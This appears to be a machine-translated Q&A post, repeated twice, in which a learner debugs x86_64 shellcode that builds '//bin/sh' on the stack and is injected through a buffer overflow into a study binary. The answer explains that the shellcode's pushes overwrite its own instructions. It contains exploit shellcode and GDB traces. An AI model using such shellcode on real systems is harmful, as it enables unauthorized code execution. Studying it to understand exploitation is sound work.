为什么程序会在推送指令上捕获 SIGSEGV?
Why does the program catch SIGSEGV on push instructions?
写了一个简单的x86_64 shellcode:
BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80
通过缓冲区溢出,shellcode 被发送到处理器。一切顺利,直到执行末尾的第 3 条指令(push rbx)。然后程序捕获 SIGSEGV 并且永远不会到达珍贵的中断 - int 0x80。我想也许堆栈溢出了,我在 shellcode 的开头插入了几个 pop 指令。结果,SIGSEGV 在同一指令上更改为 SIGILL - push rbx。一点想法都没有。
GDB:
=> 0x7fffffffea72: mov rdx,rsp
0x7fffffffea75: push rbx
0x7fffffffea76: mov rcx,rsp
0x7fffffffea79: mov al,0xdd
0x7fffffffea7b: int 0x80
0x7fffffffea7d: (bad)
0x7fffffffea7e: (bad)
0x7fffffffea7f: inc DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00007FFFFFFFEA88 RBP: 0xFFFFFFFFFFFFFFFF RSP: 0x00007FFFFFFFEA80 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEA80 RCX: 0x60FFFFFFFFFFFFFF RIP: 0x00007FFFFFFFEA75
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11: 0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75: push rbx
0x7fffffffea76: mov rcx,rsp
0x7fffffffea79: mov al,0xdd
0x7fffffffea7b: int 0x80
0x7fffffffea7d: (bad)
0x7fffffffea7e: (bad)
0x7fffffffea7f: inc DWORD PTR [rax]
0x7fffffffea81: add BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n
Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00007FFFFFFFEA88 RBP: 0xFFFFFFFFFFFFFFFF RSP: 0x00007FFFFFFFEA78 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEA80 RCX: 0x60FFFFFFFFFFFFFF RIP: 0x00007FFFFFFFEA76
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11: 0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
信息过程映射:
gdb$ info proc mappings
process 3025
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555555554000 0x555555555000 0x1000 0x0 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555555000 0x555555556000 0x1000 0x1000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555556000 0x555555557000 0x1000 0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555557000 0x555555558000 0x1000 0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555558000 0x555555559000 0x1000 0x3000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x7ffff7dbb000 0x7ffff7dbd000 0x2000 0x0
0x7ffff7dbd000 0x7ffff7de3000 0x26000 0x0 /usr/lib/libc-2.32.so
0x7ffff7de3000 0x7ffff7f30000 0x14d000 0x26000 /usr/lib/libc-2.32.so
0x7ffff7f30000 0x7ffff7f7c000 0x4c000 0x173000 /usr/lib/libc-2.32.so
0x7ffff7f7c000 0x7ffff7f7f000 0x3000 0x1be000 /usr/lib/libc-2.32.so
0x7ffff7f7f000 0x7ffff7f82000 0x3000 0x1c1000 /usr/lib/libc-2.32.so
0x7ffff7f82000 0x7ffff7f88000 0x6000 0x0
0x7ffff7fca000 0x7ffff7fce000 0x4000 0x0 [vvar]
0x7ffff7fce000 0x7ffff7fd0000 0x2000 0x0 [vdso]
0x7ffff7fd0000 0x7ffff7fd2000 0x2000 0x0 /usr/lib/ld-2.32.so
0x7ffff7fd2000 0x7ffff7ff3000 0x21000 0x2000 /usr/lib/ld-2.32.so
0x7ffff7ff3000 0x7ffff7ffc000 0x9000 0x23000 /usr/lib/ld-2.32.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x2b000 /usr/lib/ld-2.32.so
0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x2c000 /usr/lib/ld-2.32.so
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb$
New question: Changed the shellcode to the following:
BITS 64
pop rax
pop rax
pop rax
pop rax
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80
通过这样做,我防止了我的 shellcode 被覆盖。结果:
gdb$ ni
--------------------------------------------------------------------------
---------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00007FFFFFFFEAA8 RBP: 0xFFFFFFFFFFFFFFFF RSP:
0x00007FFFFFFFEAA0 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEAA0 RCX:
0x60FFFFFFFFFFFFFF RIP: 0x00007FFFFFFFEA79
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11:
0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea79: push rbx
0x7fffffffea7a: mov rcx,rsp
0x7fffffffea7d: mov al,0xdd
0x7fffffffea7f: int 0x80
0x7fffffffea81: (bad)
0x7fffffffea82: (bad)
0x7fffffffea83: (bad)
0x7fffffffea84: (bad)
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea79 in ?? ()
gdb$ ni
Program received signal SIGILL, Illegal instruction.
--------------------------------------------------------------------------
---------------------------------------------[regs]
RAX: 0xFFFFFFFFFFFFFFF7 RBX: 0x00007FFFFFFFEAA8 RBP: 0xFFFFFFFFFFFFFFFF RSP:
0x00007FFFFFFFEA98 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEAA0 RCX:
0x00007FFFFFFFEA98 RIP: 0x00007FFFFFFFEA81
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11:
0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea81: (bad)
0x7fffffffea82: (bad)
0x7fffffffea83: (bad)
0x7fffffffea84: (bad)
0x7fffffffea85: (bad)
0x7fffffffea86: (bad)
0x7fffffffea87: (bad)
0x7fffffffea88: (bad)
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea81 in ?? ()
gdb$
两个问题。
首先,您正在使用 n
GDB 命令,该命令应该跳转到下一个 源代码行,这可能需要很多指令。 (当你执行的代码不是二进制文件的一部分时,行号无论如何都没有意义, n
将无法可靠地工作。)你想使用 ni
代替,或者更好si
它将始终只执行一条指令,而不会尝试跨过子例程调用等。
确实,请注意段错误后寄存器转储中 RIP
的值。这不是您的 push rbx
的地址,所以那不是出错的指令;相反,它是以下指令,您本应是 mov rcx, rsp
.
一个简单的寄存器移动怎么会导致段错误?因为它不再是寄存器移动 - 你只是覆盖了它。比较 RSP 和 RIP 的值。您正在从堆栈执行代码,并且您的 push rbx
存储到地址 0x00007FFFFFFFEA78
,而 mov rcx, rsp
是从 0x7fffffffea76
开始的三字节指令。所以你只是覆盖了它的第三个字节。如果你此时再执行 disassemble
或 x/i $rip
,你会看到你最终执行的指令 - 我敢打赌它会访问内存。
确实,mov rcx, rsp
被编码为 48 89 e1
。 rbx
的低字节是0x88
,用88
覆盖第三个字节产生48 89 88 xx xx xx xx
即mov [rax+disp], rcx
.
写了一个简单的x86_64 shellcode:
BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80
通过缓冲区溢出,shellcode 被发送到处理器。一切顺利,直到执行末尾的第 3 条指令(push rbx)。然后程序捕获 SIGSEGV 并且永远不会到达珍贵的中断 - int 0x80。我想也许堆栈溢出了,我在 shellcode 的开头插入了几个 pop 指令。结果,SIGSEGV 在同一指令上更改为 SIGILL - push rbx。一点想法都没有。 GDB:
=> 0x7fffffffea72: mov rdx,rsp
0x7fffffffea75: push rbx
0x7fffffffea76: mov rcx,rsp
0x7fffffffea79: mov al,0xdd
0x7fffffffea7b: int 0x80
0x7fffffffea7d: (bad)
0x7fffffffea7e: (bad)
0x7fffffffea7f: inc DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00007FFFFFFFEA88 RBP: 0xFFFFFFFFFFFFFFFF RSP: 0x00007FFFFFFFEA80 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEA80 RCX: 0x60FFFFFFFFFFFFFF RIP: 0x00007FFFFFFFEA75
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11: 0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75: push rbx
0x7fffffffea76: mov rcx,rsp
0x7fffffffea79: mov al,0xdd
0x7fffffffea7b: int 0x80
0x7fffffffea7d: (bad)
0x7fffffffea7e: (bad)
0x7fffffffea7f: inc DWORD PTR [rax]
0x7fffffffea81: add BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n
Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00007FFFFFFFEA88 RBP: 0xFFFFFFFFFFFFFFFF RSP: 0x00007FFFFFFFEA78 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEA80 RCX: 0x60FFFFFFFFFFFFFF RIP: 0x00007FFFFFFFEA76
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11: 0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
信息过程映射:
gdb$ info proc mappings
process 3025
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x555555554000 0x555555555000 0x1000 0x0 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555555000 0x555555556000 0x1000 0x1000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555556000 0x555555557000 0x1000 0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555557000 0x555555558000 0x1000 0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x555555558000 0x555555559000 0x1000 0x3000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
0x7ffff7dbb000 0x7ffff7dbd000 0x2000 0x0
0x7ffff7dbd000 0x7ffff7de3000 0x26000 0x0 /usr/lib/libc-2.32.so
0x7ffff7de3000 0x7ffff7f30000 0x14d000 0x26000 /usr/lib/libc-2.32.so
0x7ffff7f30000 0x7ffff7f7c000 0x4c000 0x173000 /usr/lib/libc-2.32.so
0x7ffff7f7c000 0x7ffff7f7f000 0x3000 0x1be000 /usr/lib/libc-2.32.so
0x7ffff7f7f000 0x7ffff7f82000 0x3000 0x1c1000 /usr/lib/libc-2.32.so
0x7ffff7f82000 0x7ffff7f88000 0x6000 0x0
0x7ffff7fca000 0x7ffff7fce000 0x4000 0x0 [vvar]
0x7ffff7fce000 0x7ffff7fd0000 0x2000 0x0 [vdso]
0x7ffff7fd0000 0x7ffff7fd2000 0x2000 0x0 /usr/lib/ld-2.32.so
0x7ffff7fd2000 0x7ffff7ff3000 0x21000 0x2000 /usr/lib/ld-2.32.so
0x7ffff7ff3000 0x7ffff7ffc000 0x9000 0x23000 /usr/lib/ld-2.32.so
0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x2b000 /usr/lib/ld-2.32.so
0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x2c000 /usr/lib/ld-2.32.so
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
gdb$
New question: Changed the shellcode to the following:
BITS 64
pop rax
pop rax
pop rax
pop rax
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80
通过这样做,我防止了我的 shellcode 被覆盖。结果:
gdb$ ni
--------------------------------------------------------------------------
---------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00007FFFFFFFEAA8 RBP: 0xFFFFFFFFFFFFFFFF RSP:
0x00007FFFFFFFEAA0 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEAA0 RCX:
0x60FFFFFFFFFFFFFF RIP: 0x00007FFFFFFFEA79
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11:
0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea79: push rbx
0x7fffffffea7a: mov rcx,rsp
0x7fffffffea7d: mov al,0xdd
0x7fffffffea7f: int 0x80
0x7fffffffea81: (bad)
0x7fffffffea82: (bad)
0x7fffffffea83: (bad)
0x7fffffffea84: (bad)
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea79 in ?? ()
gdb$ ni
Program received signal SIGILL, Illegal instruction.
--------------------------------------------------------------------------
---------------------------------------------[regs]
RAX: 0xFFFFFFFFFFFFFFF7 RBX: 0x00007FFFFFFFEAA8 RBP: 0xFFFFFFFFFFFFFFFF RSP:
0x00007FFFFFFFEA98 o d I t s Z a P c
RDI: 0x00007FFFFFFFEA60 RSI: 0x0000555555556021 RDX: 0x00007FFFFFFFEAA0 RCX:
0x00007FFFFFFFEA98 RIP: 0x00007FFFFFFFEA81
R8 : 0x0000000000000000 R9 : 0x00007FFFF7FE14C0 R10: 0xFFFFFFFFFFFFF8F5 R11:
0x00007FFFF7E54B60 R12: 0x0000555555555060
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea81: (bad)
0x7fffffffea82: (bad)
0x7fffffffea83: (bad)
0x7fffffffea84: (bad)
0x7fffffffea85: (bad)
0x7fffffffea86: (bad)
0x7fffffffea87: (bad)
0x7fffffffea88: (bad)
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea81 in ?? ()
gdb$
两个问题。
首先,您正在使用 n
GDB 命令,该命令应该跳转到下一个 源代码行,这可能需要很多指令。 (当你执行的代码不是二进制文件的一部分时,行号无论如何都没有意义, n
将无法可靠地工作。)你想使用 ni
代替,或者更好si
它将始终只执行一条指令,而不会尝试跨过子例程调用等。
确实,请注意段错误后寄存器转储中 RIP
的值。这不是您的 push rbx
的地址,所以那不是出错的指令;相反,它是以下指令,您本应是 mov rcx, rsp
.
一个简单的寄存器移动怎么会导致段错误?因为它不再是寄存器移动 - 你只是覆盖了它。比较 RSP 和 RIP 的值。您正在从堆栈执行代码,并且您的 push rbx
存储到地址 0x00007FFFFFFFEA78
,而 mov rcx, rsp
是从 0x7fffffffea76
开始的三字节指令。所以你只是覆盖了它的第三个字节。如果你此时再执行 disassemble
或 x/i $rip
,你会看到你最终执行的指令 - 我敢打赌它会访问内存。
确实,mov rcx, rsp
被编码为 48 89 e1
。 rbx
的低字节是0x88
,用88
覆盖第三个字节产生48 89 88 xx xx xx xx
即mov [rax+disp], rcx
.